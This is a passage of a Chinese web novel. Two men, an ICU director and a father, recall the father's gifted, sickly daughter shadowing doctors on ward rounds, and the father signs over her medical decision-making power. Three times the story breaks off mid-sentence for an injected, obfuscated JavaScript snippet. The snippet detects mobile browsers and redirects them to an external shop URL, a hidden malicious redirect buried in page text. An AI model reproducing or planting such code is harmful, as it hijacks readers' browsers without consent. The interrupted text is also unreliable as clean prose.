“疗养院区的护士护工经常来抓她回去。”安东尼说,“病人太多的地方,她容易感染。疗养病区的人估计也不放心……但是……佐伊很难抓。” 查尔斯挑了一下眉。 “她熟悉这里的建筑。”安东尼说,“知道每一个楼梯间,知道核心筒在哪,知道所有的死胡同。护士从东边来,她就从西边绕出去。那些人追了几回,追不上。她还能从疗养院那头直接走进我的办公室,从地下车库绕过来。那条路我被她带着走了三遍才不迷路。我们私底下闲聊,开玩笑说这房子是不是这孩子设计的。” 查尔斯忍不住笑了一下,“后来呢?” “后来有一天,佐伊在前面跑,护士长在后面追。”安东尼说,“那天刚巧,遇到我在查房队伍里。我看着她一脸认真的跟护士长讲条件,说自己为什么不能去花园晒太阳——她说自己循环不好,体温太高对心脏压力大——一本正经的用医学知识反驳,护士长都被噎住了。然后,我就把她牵走了,带去查房。她很安静,很乖。” 查尔斯等着,那表情像是第一次看到孩子走路的父亲。 安东尼看着他,慢慢说:“后来有个护士长单独来ICU找我,他说,这孩子听我话。查房的时候,如果她还混在人群里,能不能帮忙看着,虽然这是违规的,但是这孩子挺特别的,也不惹事。如果有人带着,他们可以睁一只眼闭一只眼,查完了送回疗养院那边就行。我就答应了。” “所以你那时候就开始带着她了。”查尔斯说。 安东尼点点头。 “带着。”他说,“每次大查房,我让她跟在我旁边。查完一个病人,就低头看她一眼,看她有没有认真听。她每次都听得特别认真。” “后来有一次,”安东尼说,“心外麦克斯带队。他问一群规培:这个病人用了速尿,为什么还是水肿?” “一群规培生低着头,没人敢说话。” 查尔斯专注的看着安东尼,就像那天在咖啡店里,想把安东尼挖来的那天一个眼神。 安东尼看着他,嘴角有一点笑意。“小家伙在边上举手了。” 查尔斯愣了一下。“举手?” “嗯,举手。那么一点点高的小孩,站在一群规培生边上,举手。”他学着佐伊的语气,用很平静的与声调说:“可能要查一下白蛋白。” 查尔斯没理解,给了一个需要解释的眼神。 安东尼看着查尔斯的疑惑,继续说,“主任然后就问她,为什么。” “这小家伙一板一眼的说,速尿是排钠的,如果白蛋白低,血管里留不住水,水还是会在组织间隙里。要先补白蛋白,或者用人血白蛋白联合速尿。让白蛋白把水带回血管里,速尿才能起作用。”安东尼笑着摇了摇头,“她理解的非常对,只是指南里用更拗口的方式描述了这件事,那些二十岁左右的规培都记不住的细节,好像天生长在她的脑子里。那时候,她刚做完开胸手术一年多。” 查尔斯端起杯子,喝了一口。威士忌有点辣。 安东尼顿了顿。“麦克斯说,他那时候想,这孩子要不是天才,就是每天不干别的,光看指南。” 查尔斯笑了一下。“她确实不干别的。那几年,她光看指南。” 安东尼点点头。 “从那以后,麦克斯每次大查房,都会往后面看一眼。” “看她还在不在。在的话,就偶尔问一句:‘佐伊,你觉得呢?’” 查尔斯这下真的愣住了。 “他叫她佐伊?” “叫。全院的主治,还有主任们,都叫她佐伊。”安东尼顿了顿,掰掰手指算了算时间。“她差不多八岁到九岁?全院的主治都认识她。认识‘那个跟在后面会举手的小孩’。这群医生叫她小尾巴。” “后来不止麦克斯。”安东尼没忍住笑意,“内分泌的卡特兰也盯上她了。” 查尔斯挑了一下眉。 “卡特兰?” “对。”安东尼说,“那家伙专攻小儿内分泌,有一次大查房碰到佐伊跟着,就随便问了几个问题。什么低血糖的鉴别诊断,胰岛素瘤的Whipple三联征,她全答上来了。” 查尔斯专注的听着,表情像在看自己女儿小时候的照片。 “卡特兰当场就愣了。”安东尼说,“然后第二天,他就来找我,说以后他的大查房,能不能尽量也让佐伊跟着。” 查尔斯笑了,“让她跟着?” “我有什么办法。我只能直接问佐伊,问她自己愿不愿意去。”安东尼说,“人家是内分泌主任,我只是ICU的主任,又不是院长。其他主任点名摇人,我还能替她拒绝吗?” “后来两个病区的大查房时间经常撞上。麦克斯和卡特兰就抢着要带她。谁先预约到她,谁就得意。” “预约?” “预约。”安东尼没忍住自己的笑意,“麦克斯让护士长提前一周给我发邮件,问佐伊那天有没有空。卡特兰更绝,直接给疗养院打电话,说要‘邀请一位特殊的小顾问’。” 查尔斯忍不住笑出声。 “那段时间,我手机里全是这种消息。”他说,“麦克斯秘书问:佐伊周四下午有空吗?卡特兰助理问:佐伊周五上午方便跟查房吗?后来两个人都学会直接找佐伊了,她收到消息会转发给我,附一句:‘安东尼,你看我去哪个合适?’” 查尔斯笑得杯子里的酒都在晃。 “那你怎么回?” “我回:‘你决定。’”安东尼说,“她就自己排日程。哪天跟心外,哪天跟内分泌,哪天跟风免,哪天跟妇产,哪天休息。排得清清楚楚,比住院总的排班表都整齐。血液科她轻易不去,因为那边小病人都很容易感染。我值白班走不开的日子她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401657|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就休息,自己看书。后来大概是几个主任把院长烦死了,佐伊自己也烦死了,她不想在这些事情里面周旋。最后逼得院长出了个新的教学查房时间表,一周轮一遍,时间不重叠,谁都别抢人。” 查尔斯笑着摇了摇头。“是她做得出来的事,然后呢?” “然后我就被迫跟着她跑。虽然这种查房,我一直在邀请名单上,但我未必去。”安东尼说,“现在她去哪个病区,我就得跟到哪个病区。因为疗养院说了,她必须有人带着,查完了送回去。直到大家都发现佐伊的确很懂事,不添乱,我忙着病房的时候,才敢放手让她自己跟队伍。” “所以那年我跟着她,把整个医院的大查房都蹭了一遍。麦克斯教规培的时候,我就站在旁边听。他们偶尔还会问我:安东尼,你觉得呢?我说:我听佐伊的。” 查尔斯笑得停不下来。安东尼自己也笑了。 “后来,最惨的是那些规培生。”他说,“他们看见佐伊就害怕。因为主任提问的时候,如果佐伊在,就会先问规培。规培答不上来,主任就问佐伊。佐伊答上来,主任就回头看着规培:你看,人家才几岁。那眼神……” “所以那时候全院规培都认识她。”安东尼说,“不是喜欢,是怕。怕主任拿她当对照组。” 他喝了一口酒。 “不过说实话,她确实厉害。有一次卡特兰遇到一个疑难病例,罕见的肾上腺皮质功能不全,一群主治讨论了半天没定论。卡特兰转头问佐伊,你怎么看?她说:查ACTH和皮质醇节律,做ACTH兴奋试验,如果是原发性的,还需要查肾上腺抗体。卡特兰当时就沉默了,后来跟我说,这个小孩以后要是学医,一定是顶尖的。” 查尔斯沉默了一会儿,“佐伊给我发过一封邮件,邮件里有这些人的名字。就是你说的那几个主任。” “邮件?” “我不知道她在疗养院是怎么跟医生社交的。她不跟我说。”查尔斯说,语气里带着一点困惑,又带着一点……骄傲? 安东尼等着。 查尔斯端起杯子,喝了一口。 “有一次我跟她吃饭,九岁我给她过生日那天,”他说,“我就半开玩笑跟她说:要是医院那边谁对你不好,欺负你,一定要告诉我。” 安东尼皱了一下眉。他想象那个画面。一个父亲,对着一个九岁的孩子,说这种话。有点笨拙,有点认真。 “然后这小家伙很认真地问我:你可以决定他们去留是吗?” 查尔斯学着佐伊的语气,把“是吗”两个字说得一本正经。 安东尼忍不住笑了一下。 “我看她很严肃,就点了点头。”查尔斯说,“告诉她我可以的,但是有时候要离开是医生的个人决定。” “她吃了几口西兰花,问我:那如果有些人想走,但我想挽留,怎么办?” 安东尼握着杯子的手顿了一下。难以想象一个孩子,吃西兰花的时候,问这种问题。 “我说,我可以涨点工资或者多给点资源试试。”查尔斯说,“但人很复杂,要看具体的原因。” “她没说话,点了点头。” 安东尼等着下文。 查尔斯看着他,慢慢说: “第二天,她就给我发邮件。附件了一个清单。” 安东尼愣了一下。 “清单?” “清单。”查尔斯说,“标题是‘希望能尽量留着的医生’。七八个人。” 安东尼的眉头动了一下。 “她说,这些人她一直在请教问题。”查尔斯说,“能不能尽量留着。” “请教问题?”安东尼问,“就是她跟着查房的那些时候?” 查尔斯点了点头,“她在邮件里说了查房实习的事情,同时也说了偶尔会去办公室敲门。那些主治对她很好。她舍不得。” “所以,第一个是谁?”安东尼问。 查尔斯看着他,没说话。 安东尼愣了一下。然后他明白了。 “我?” 查尔斯点点头。 “重症医学,安东尼。”查尔斯开始报清单,“第二个是心外第一把刀,麦克斯。然后是内分泌,心内,骨科,消化内科,风湿免疫,神经外科。八个方向,八个人。” 安东尼张了张嘴,没说出话。他不知道从那个时候起,他自己就已经在她的清单上。不知道她吃西兰花的时候,在想怎么把他留下来。 “她就像个……”查尔斯想了想,找到一个词,“把专家当宝石收集的野心勃勃的小龙。” 安东尼噗嗤一下笑出来。 这个比喻太准了。那种冷静的、计算的眼神,那种不声不响地观察、然后默默把目标放进清单的方式,那种“我想要,所以我希望留着”的理所当然。 “像她会做出来的事。”安东尼抿了一口酒。 “是。这就是她。她早就选了你。” 16. 授权书 “那你后来呢?”安东尼问,“你按那个清单留人了?” 查尔斯笑了一下。 “有些留下了,有些没留住。”他说,“麦克斯还在。你说的内分泌那个,后来被梅奥挖走了,还专门去找她告别。她失落了好几天,最后发邮件跟我说,虽然见不到面了,还是可以邮件联系。” 安东尼努力回忆了佐伊失落的样子——她大部分时间都显得太平静了,能被人看出来失落的机会不多。大约是几乎不说话,多吃几颗巧克力,然后继续看书,继续干活。 “但重症医学那个,”查尔斯看着他,“一直没走。” 安东尼喝了一口酒,“其实我那时候真的以为她会学医。太适合她了。麦克斯都跟我私下说,她这个脑子不学医可惜了,她如果没有执照,恐怕是病人的损失。有一段时间,我很认真的想带她,想着她长大一点,考上医学院,我亲自带。直到她开始在我办公室里敲我看不懂的代码,我才突然意识到,她的世界,大概会很大。” “医学,或者说生命科学,”查尔斯顿了顿,把目光移向窗外,慢慢得说,“那只是她理解自己、理解世界的通道,之一。当我发现她无师自通地开始画逻辑系统图的时候,我就知道医院的墙圈不住她。” 窗外,灯塔的光一圈一圈转着。扫过了两个人放在茶几上的酒杯。 “她很像尤兰达,”查尔斯说,“但又有一个本质区别。” “尤兰达是那种一条道走到黑的人。钻研一个极小的问题,钻进最深的角落,然后突破它。她是点状的。她能在那个点上挖出别人看不见的东西。这也是为什么她有勇气放弃。” 安东尼点点头。他见过那种人。ICU里也有这样的主治,一辈子就研究一个类群,把这个病种的所有细节都刻在脑子里。 “但佐伊不是。”查尔斯顿了顿,像是在找词。“她是站在扶梯上,或者说站在观众席最高处,俯视整个运动场的人。这也是为什么她有着与尤兰达完全不同的格局。” “她看一件事情,先看它和周围所有事情的关系。先看它在这个系统里的位置。然后再看这件事本身。” 安东尼想起这些年,佐伊帮他分析的病例。她从不只看一个指标,一个器官。她会问:这个病人还吃什么药?最近有没有感染?情绪怎么样?哪个地方来的?什么信仰的?有什么生活禁忌吗?睡觉好不好?化验单有哪些?趋势怎么样?拐点出现在哪里?哪些指标协同了?她问的那些问题,经常让他愣住,然后发现自己漏掉了什么。 “她有天生的全局观和大局观,”查尔斯说,“又有把事情按照逻辑拆成可操作模块的能力。更重要的是,她自己说,这些事情很好玩。有意思。” “所以你就把她交给Jotish了。”安东尼说。 查尔斯点点头。 “医院能给她的是病例,是问题,是那些宝石一样的专家。”他说,“但Jotish能给她的,是方法,以及通向更广阔世界的逻辑。” 安东尼晃了晃杯子,看着玻璃杯切割工艺的折射,亮得晃眼。 “她后来跟我说,”查尔斯笑了笑,“Jotish教会她最重要的事情,是‘不问为什么,问怎么办’。don''t ask why,ask how.''” “什么意思?”安东尼喝了一口已经开始稀释的酒。 “小时候她问为什么。为什么我会生病?为什么这个药有用?为什么那个人会死?Jotish说,为什么的问题,有时候没有答案。但怎么办的问题,一定有。她总是在想,怎么让这个系统更稳定?怎么让那个流程更高效?怎么让一件事发生。” 安东尼想了想,佐伊的确从没问过“为什么是我”。她只问过“我接下来怎么办”。 窗外,灯塔的光一圈一圈转着。两个关心着同一个孩子的人沉默了一会儿。 “对了。”查尔斯侧了侧身。从办公桌上拿过来一个厚厚的信封,推给安东尼,“你看看。” 气氛太放松了,安东尼接过信封,没多想,直接打开,“什么东西。” 信封没有封口,开口朝上,轻轻一倒,几张纸滑出来。最上面那页抬头印着律所的标志,字号很大,字母是深灰色的,烫金边,看起来很贵。标题写着“医疗决策授权委托书”,规规矩矩的印刷体,居中对齐。安东尼的目光在那行字上停了一秒。 然后他开始往下看。 委托人:Arthur Charles 被委托人:Anthony Lesong 授权事项:就以下被监护人的一切医疗相关事宜,行使医疗决策权。 被监护人姓名:Zoey Prince 。出生日期:1997年11月17日。 安东尼的手指捏着那张纸,没翻页。他看了两遍那几行字,确认自己没有看错,白纸黑字,医疗决策权委托书,佐伊·普林斯,1997年11月17日。查尔斯坐在对面,端着酒杯,没催他。窗外的灯塔还在转,光柱扫过玻璃,在房间里走了一圈。 安东尼翻到第二页。那是一份标准法律文本,用词严谨,条款清晰。授予的权利包括但不限于:选择医疗机构和主治医生;决定治疗方案、手术方案及用药方案;查阅并获取全部医疗记录;在紧急情况下做出一切必要的医疗决定。最后一条写着:本授权委托书自签署之日起生效,直至被委托人书面辞任或委托人书面撤销为止。 没有截止日期。 纸的最后一面是签名页。查尔斯的名字签在右边,笔迹很端正,一笔一划。左边是空白的,等着他签。日期栏是空的。 安东尼把纸放回茶几上,抬起头。 查尔斯放下酒杯,声音很平静:“我想把Zoey Prince的医疗决策权转移给你。这是律师拟的授权书,我已经签了字。你看看,不急,本周给我个答复。” 安东尼没说话。他盯着茶几上那几张纸,纸的边缘被茶几的灯光照出一圈暖白色的边。办公室里很安静,安静到能听见冰球在杯子里沉浮的声音,细碎的,像什么东西在慢慢地化开。 “为什么?”他问。 “你是最合适的人。”查尔斯说,“你管过她,你知道她的病史,你了解她的身体状况。你和她彼此信任。” “但你是她父亲。” “我知道。”查尔斯的声音还是很平静,“但我不在的时候,她需要一个能签字的人。” 安东尼皱了一下眉。“我不在的时候”这几个字在他脑子里转了一圈。不是“万一我不在”,是“我不在的时候”。查尔斯用的是陈述句,不是假设句。 “你要去哪儿?”他问。 查尔斯看着他,没回答这个问题。“她十四了,”他说,“不是可以养在疗养院的七岁。她的身体比小时候好很多,但她那个底子,你是知道的。她还是需要人看着。不是那种ICU级别的看着,是那种……有人知道她什么时候该吃药、该复查、该休息的。而且,她已经长大了,她可能会去很多地方。” 安东尼没说话。他在想佐伊今天下午从车里栽出来,埋在他怀里。 “你跟她说了吗?”他问。 “还没有。”查尔斯说,“我想先问你。如果你不愿意,这件事就不存在了。” 安东尼端起酒杯,喝了一口。威士忌已经不那么冰了,稀释的酒液在嘴里化开,有一点苦。他看着窗外,灯塔的光扫过泰晤士河,扫过远处的金融城,扫过这个城市里所有的灯火。 “如果我在值班,她在别的地方出了事呢?”他问。 “授权书依然是有效的。”查尔斯说,“你可以电话授权,也可以远程会诊。律师都考虑过了。” 安东尼沉默了一会儿。“既然可以远程授权,你为什么不自己签?” 查尔斯的手指在杯沿上停了一下。他低头看着杯子里的液体,琥珀色的,在灯光下泛着微光。 “因为我会犹豫。”他说,“我签字的时候会想,这个方案是不是太激进了,那个方案是不是太保守了。我会想,如果选错了怎么办。我会被这些想法困住,然后耽误时间。” 他看着安东尼。 “你不会。你是医生。你知道什么该做,什么不该做。你不会被‘我是她爸爸’这件事困住。” 安东尼握着杯子的手紧了紧。他想反驳,想说“我也会被困住”。但他知道查尔斯说得对。他是医生。他在ICU里签过无数次字,下过无数次决定,见过太多次“选错了怎么办”的后果。他早就学会了一件事:在需要做决定的时候,犹豫是最坏的选择。 “她妈妈呢?”他问,“尤兰达知道吗?” “我没告诉她。”查尔斯说,“但她早就放弃了监护权,也不会反对。” 安东尼想起尤兰达在MDC网站上的照片,灰色的头发,冷静的眼睛,和佐伊一模一样的轮廓。想起她说“我不敢投”。想起她往佐伊的邮箱里丢论文、丢指南、丢讲座视频,然后用邮件收了一个编外的“研究生”。 “你跟尤兰达说过吗?”安东尼问,“关于佐伊的事。” “说过。”查尔斯说,“每年一次。她每次都问同样的问题:她还好吗?我说,还行,活着。她说,那就好。” 安东尼沉默了很久。然后他低下头,看着茶几上那几张纸。查尔斯的签名在那里,很稳,一笔一画。左边是空白的。他伸出手,把那几张纸拿起来,叠好,放回信封里。信封很薄,里面只有这几页纸,轻得几乎没有重量。 “那,为什么是现在?”安东尼揉了揉脸。 “这段时间,她在费城。康妮几乎每天都在给我发消息。与我探讨这个孩子没命工作,完全不知道照顾自己。她没有一日三餐的概念,干累了把电脑推开,睡下。睡醒了继续。她的脑子像一个停不下来的CPU。康妮忍不住问我,她是怎么长大的。她甚至问我,这孩子是不是我刻意培养的神秘技术力量。” “我这才意识到,疗养院的那几年,她身边都是三班倒的医护,没有什么正常作息的示范,而端到她面前的三餐,被理解为了对病号的特殊照顾。至于跟着jotish那几年,她把程序员的作息学了个透彻,不困不睡,不饿不吃,有时候忙忘记了,就把一顿饭忘记了。她还没来得及建立起正常的生活习惯,就被我丢向了世界。” 安东尼深吸了一口气。 “你真的是…你把你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401658|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女儿当项目在管,给了个大方向,然后就撒了手。可你知道吗,她一直在问这个世界为什么,怎么办。但总是忘记问自己,累了怎么办,饿了怎么办,自己不舒服了怎么办。你以为你给了她一个房间一张床,她会记得按时回去休息?你以为给她一张随便可以刷的饭卡,她自己会按时去食堂?”安东尼的声音里带着一点抱怨。不是那种生气的抱怨,是那种“你让我捞了她这么多年你知道我有多累吗”的抱怨。“你这当爸爸的,心也太大了。十来岁的孩子,完全没人照顾,散养着。你也不看看她的脾气。什么事都不想麻烦大人,自己扛着。” 查尔斯叹了口气。“我忘了她需要那些照顾了,直到这次康妮很震惊的给我打电话,我才知道。” 安东尼看着他,“她自己总是错过食堂的晚餐。也不知道抽屉里和房间里可以预备点吃的。更多时候是在办公室蹭Jotish的零食。还有我那儿的糖和巧克力。因为只有我俩说了随便拿,不用客气。她不知道自己的零花钱可以买零食吗?” 查尔斯沉默了一会儿,窗外,灯塔的光一圈一圈转着。 “有一次,”安东尼说,“她跑过来找我,说手麻了,出冷汗。我问了一下,她早晨吃了食堂的牛奶和三明治,拿了一个苹果,中午忙着,jotish给他布置的工作她还没想通,就一直在推导。结果彻底忘记吃饭,甚至忘记了吃糖。下午四点低血糖了,这才想起来找我。我给她喝营养科开的代餐奶昔——随便哪个值班主任办公室里都有好几箱的那种——她喝完很不好意思地说,真好喝。” 安东尼接近惨笑了一下,“我后来才知道,她觉得那是照顾重病人的待遇,平时没资格喝。还担心自己是不是抢了别的病人的奶昔,说自己应该买几瓶还给人家。” 查尔斯握着酒杯的手抖了一下。 “你说,她为什么不敢提要求?甚至不敢用你给的零花钱?”安东尼开口问,这句话多少借了点酒劲,“她难道不是你的…是你的小公主吗?!” 查尔斯沉默了很久。冰球终于彻底化了,冷凝水在杯壁上挂了一圈。 “也许,”查尔斯开口,声音很慢,“我说也许,我只是在猜测——” 他停了一下。 “也许她觉得,我给她找了工作室,找了住的地方,给了这栋楼,找了老师,给了空间和时间——” 他顿了顿。 “已经是我倾尽所有了。” 安东尼没说话。 “她五岁那年,”查尔斯说,“有一次问我,爸爸,我们是不是很穷。” 安东尼愣了一下。 “我说,不,我们不穷。她说,那为什么别的小朋友有妈妈,我没有,为什么别的孩子爸爸一直在身边,你经常不在。” 查尔斯看着窗外的灯塔。 “我说,妈妈在工作,很重要的工作,不仅仅是为了钱,是为了更多的人更好的活着。爸爸也在工作,爸爸要把更便宜的能源和更新鲜的蔬菜牛奶送到更多人手里,但是爸爸尽量陪你。她说,哦。” 他喝了一口酒,酒已经淡了。 “后来她不问了。但我觉得,她一直有个账本。记着我给了什么,她欠了什么。” “你那时候,把她交出去的时候,交给疗养院,交给jotish的时候,”安东尼问,“想过她会变成现在这样吗?” 查尔斯沉默了一会儿。 “没想过。”他说,“我只是觉得,一个觉得‘有意思’的孩子,应该去做她觉得有意思的事。” 他看着窗外的夜景,“变成什么样,是她自己的事。” 安东尼点点头。 “她那个“希望留下”的清单,Jotish在上面吗?” 查尔斯愣了一下。然后他笑了。 “不在。”他说,“那时候她还没遇见他。后来遇见了,大概也放进去了。” 安东尼也笑了。佐伊的形象又多了一个维度,一个把专家当宝石收集的野心勃勃的小龙。 “那个清单后来还有更新吗?” 查尔斯想了想,“应该有。但她现在有资本了,能自己谈了。” 安东尼看着他。 查尔斯笑了笑。“她长大了。她的清单,她自己留着。” 那天晚上,安东尼回到公寓,没睡。外套里那张还没签字的文件,让他心里发烫。他站在窗边,看着两个街区外的灯塔,屋顶的光一圈一圈转着。 她活下来了。从1500克活到十四岁。从10%的概率活到单枪匹马去竞赛上所向披靡。她是赢了命运的那个人。 然后他掏出手机,给佐伊发了一条消息: 睡醒了没? 半夜十二点了,她睡了十几个小时,大概缓过来了。 果然,过了两分钟,她回: 醒了。怎么了? 安东尼看着那两个词,打了又删,删了又打。 最后发出去的是: 饿吗?想吃什么?我准备过来换班,给你带。 她回得很快: 通心粉。 安东尼笑了一下,“等着。” 四岁那年那场雪,他没赶上。但今后,他都在了。 17. 19楼和27楼 安东尼带着一盒热的番茄牛腩芝士通心粉以及一份全麦餐包去敲佐伊房门的时候,还差五分钟到凌晨一点。 餐盒是从ICU楼下的手术室食堂后厨直接拿的,那地方是安东尼知道的24小时提供餐饮服务的地方之一。夜班师傅认得他,得知是带饭给佐伊,特意多舀了两块嫩牛肉,芝士铺了厚厚一层。用铝箔纸包了两道,才放进纸袋里。安东尼从停车场那条路走到疗养院,掀开铝箔的时候还在冒热气。 佐伊靠在床头看书。封面是陌生的,浅绿色的底子上印着一行法文,安东尼不认识。她难得没开电脑——这段时间一边打竞赛一边跑模型,大概真的快要看吐了。阅读灯开着,暖黄色的光照在书页上,把她的手指照得有点苍白。她换了新椅子,安东尼注意到,之前那把老旧的木头椅子不知道什么时候被换掉了,现在是一把灰白色的人体工学椅,扶手的高度刚好够她搭胳膊。 佐伊见他进来,把书合上往床头柜一放,拉过跨床桌,坐直了身子。动作一气呵成,显然等了有一阵了。 “看什么呢?” “悲惨世界。”佐伊语气很随意,“音乐剧挺好听的,想看看原著。” “吃吧。”安东尼把外卖盒打开,递过去。铝箔纸还有点烫手,他换了个角度,把相对不烫的那边朝向佐伊。 佐伊拿起叉子,挑起一口通心粉轻轻吹了吹,嚼了两下,咽下去,然后抬起头看了他一眼。 “你今天根本不值班。”她说,“骗我。” 安东尼没接话。他坐在床边,看着佐伊把一口牛肉送进嘴里,腮帮子鼓了一下,然后慢慢嚼。 两三个小时前查尔斯递给他的那个信封,还装在他现在穿着的这件外套口袋里。牛皮纸的,有点厚,贴着胸口那一侧,被体温捂热了。 佐伊看他没吭声,又抬头看了他一眼。鼻子皱了皱。 “喝酒了?”她说,“是查尔斯找你了。” 安东尼叹了口气。他伸出手,揉了一下这个小孩的头顶。她睡醒之后没有打理自己,头发乱糟糟的,灰色的发丝从指缝里漏出来,软软的,刚才她拿着叉子埋头往嘴里塞吃的,大约是饿狠了,嘴角粘上了一小块番茄酱,还有一点芝士,自己都没察觉。整个人看起来还有点迷迷糊糊的——但脑子已经在高速逻辑道上狂奔了。 真的是什么事情都瞒不住,或者说,很难瞒住这个小家伙。一点点细节都能被她组织出背后的剧情。深夜送饭,不值班,一点酒味,被她组织出一个唯一解。 “对,他找我了。聊了聊你小时候的事情。”安东尼递过去两张纸巾,看着佐伊擦了擦嘴角,继续埋头吃。虽然这盒通心粉还有点烫,但她的咀嚼速度比平时快,是真的饿了。费城那趟折腾下来,她大概连着好几天没正经吃过东西。 “哦。”她咽下嘴里的通心粉,舔了舔嘴唇,有点含含糊糊地说,“我小时候?没什么好玩的。我又不可爱,又不乖,不讨大人喜欢。而且还一直很麻烦,查尔斯那么忙,还要抽空管我。” 安东尼没说话。他定定地看着这个把“不把自己当回事”演绎到了某种极致的小家伙。她说最后一个短句的时候,语气里甚至带了一点微不可查的自我厌弃——这种口气安东尼很熟悉,那些还清醒着但知道自己没救的患者,也会用这样的口气对着医生说,“不治了。” 佐伊是那么平静得说出了那句话,好像是在陈述一个和自己无关的事实。她的叉子还在餐盒里搅,好像在琢磨着如何用通心粉最高效得把酱汁一点一点擦干净,然后一口塞进嘴里。 然后那个小家伙笑了笑,仰起头看了看安东尼。 “这么多年,”她说,“辛苦你了。” 那句式,和查尔斯惯用的一模一样。连停顿的位置都一样——“这么多年”后面顿一下,然后“辛苦你了”放出来,平平的,没有太多起伏,但每个字都沉甸甸的。 安东尼看着她嘴角那个笑。不是客气的笑,也不是敷衍的笑,是那种“我知道你为我做了很多,但我不知道该怎么谢你”的笑。有点笨拙,也有点认真。 “你值得一切。”安东尼说,“一点都不辛苦。” 他说这句话的时候声音很平静。但佐伊的叉子停了一下,在盘子里搁了半秒钟,然后又继续动起来,把最后一块牛腩叉起来,送进嘴里。 她没抬头。但安东尼看见她的睫毛动了一下。 餐盒见底了。芝士酱在盒底薄薄地铺了一层,她用叉子刮了刮,刮不起来,就放下了。然后她拿起餐包吃了一个,另一个放回纸袋,照例放在床头柜上。 “明天早上吃。”她嚼着最后一口面包,腮帮子还鼓着,“吃饱了。” 安东尼点了点头,帮忙把空餐盒丢进垃圾桶,“晚安了。漱个口,接着睡。正好把时差倒过来。” “嗯,晚安。”小家伙挥了挥手。 走到门口的时候,他回头看了一眼。她坐在床上,毯子盖到腰的位置,两只手放在被面上,看着他。阅读灯的光照在她脸上,把那撮翘起来的头发照出一圈浅浅的光晕。 他走出去,把门轻轻带上。 疗养院的走廊灯已经切换了深夜模式,只有踢脚线的洗墙灯暗暗得引路。病区出入口亮堂些,值班护士坐在接待台后面看书,看到出来的人是安东尼,对着他打了个招呼,点了点头。 这一夜,安东尼几乎没有睡着。可能是一点酒精的作用让神经难以安静,可能是那场长谈搅乱了思绪,也有可能是那个信封的边角,直直戳进了心里。 第二天一早,安东尼去查尔斯办公室,把签好字的文件递了过去。 查尔斯接过来,翻了翻,看到最后一页上的签名。然后他把文件收回信封里,放回桌上,看着安东尼。 “你找她谈,还是我找?”他问,口气像在讨论一个商业决策。 “还是你说吧。”安东尼叹了口气,“你只是移交了医疗决策权,不是移交了监护权。” 查尔斯没说话。他低头看着桌上那个牛皮纸信封,手指在封口上按了一下,把它按平了。 “好。”他说,“我找她谈。” 日子很快平顺地过了下去。 安东尼不知道查尔斯什么时候找佐伊谈的,也不知道怎么谈的。也许只是查尔斯给她发了一条短信。然后佐伊回复一个:好。 她的行为模式几乎都看不出区别,还是喜欢整天窝在安东尼的办公室里写脚本,刷病例,复核参数。吃安东尼准备好的巧克力和棒棒糖。 但是,Beacon Care没有接入技术中心后台的网络,佐伊在跑的模型需要技术中心的算力支撑,医院网络和技术中心那头,硬件上物理隔离了。所以安东尼的沙发,佐伊有时候就坐不住了。 她开始频繁地往集团主楼跑。上午在安东尼这儿待一会儿,下午就抱着电脑,穿过马路,走半个街区去技术中心。大部分时候,晚饭时间都未必能回疗养院。安东尼桌上的糖罐子空得慢了,棒棒糖的消耗速度从一天两三支降到了一天一支。 查尔斯给佐伊在行政楼弄了个工作室,在1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401659|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 9层,和Jotish的工作室隔了两扇门,出门转两个弯就是核心机房。安东尼被佐伊带着去看过一次,工作室挺舒适,不过窗户不大,勉强能看到泰晤士河。桌上摆着她的电脑,外接了三个显示器,一侧墙面是满墙书架,已经有一些格子被她疗养院时期看的医药书占满,另有一些塞着安东尼看不懂的东西,什么系统构架,什么编程语言,放在一起都是单词,连起来不知道是什么意思。另有一面墙上贴着她手写的日程表,和疗养院那间房里的一模一样,只是内容换了——模型调试、硬件测试、联调协调会、文献阅读、联系某某导师、与某某实验室沟通,排得整整齐齐。 疗养院里那个人体工程学椅也搬过来了,书架边甚至还架了一个单人小床,有条毯子,床上还堆着一大摞大概是蓝图的东西,上面的线条和出图章看得安东尼眼晕。佐伊以现在的身高,躺上去还勉勉强强。如果是安东尼,蜷在上面腿都伸不直。 “你准备睡这儿?!”安东尼第一次看到的时候有点惊讶,他在值班室里住过好些年,也都没那么苛待自己的。 “有时候跑数据要几个小时,这椅子也能睡,但是没法放平。又不想回疗养院。这能躺一下就可以了。”佐伊满不在乎的把图纸往边上搬了搬,给自己腾出来一点容身的空间,然后一屁股坐在床沿。“挺舒服的。” 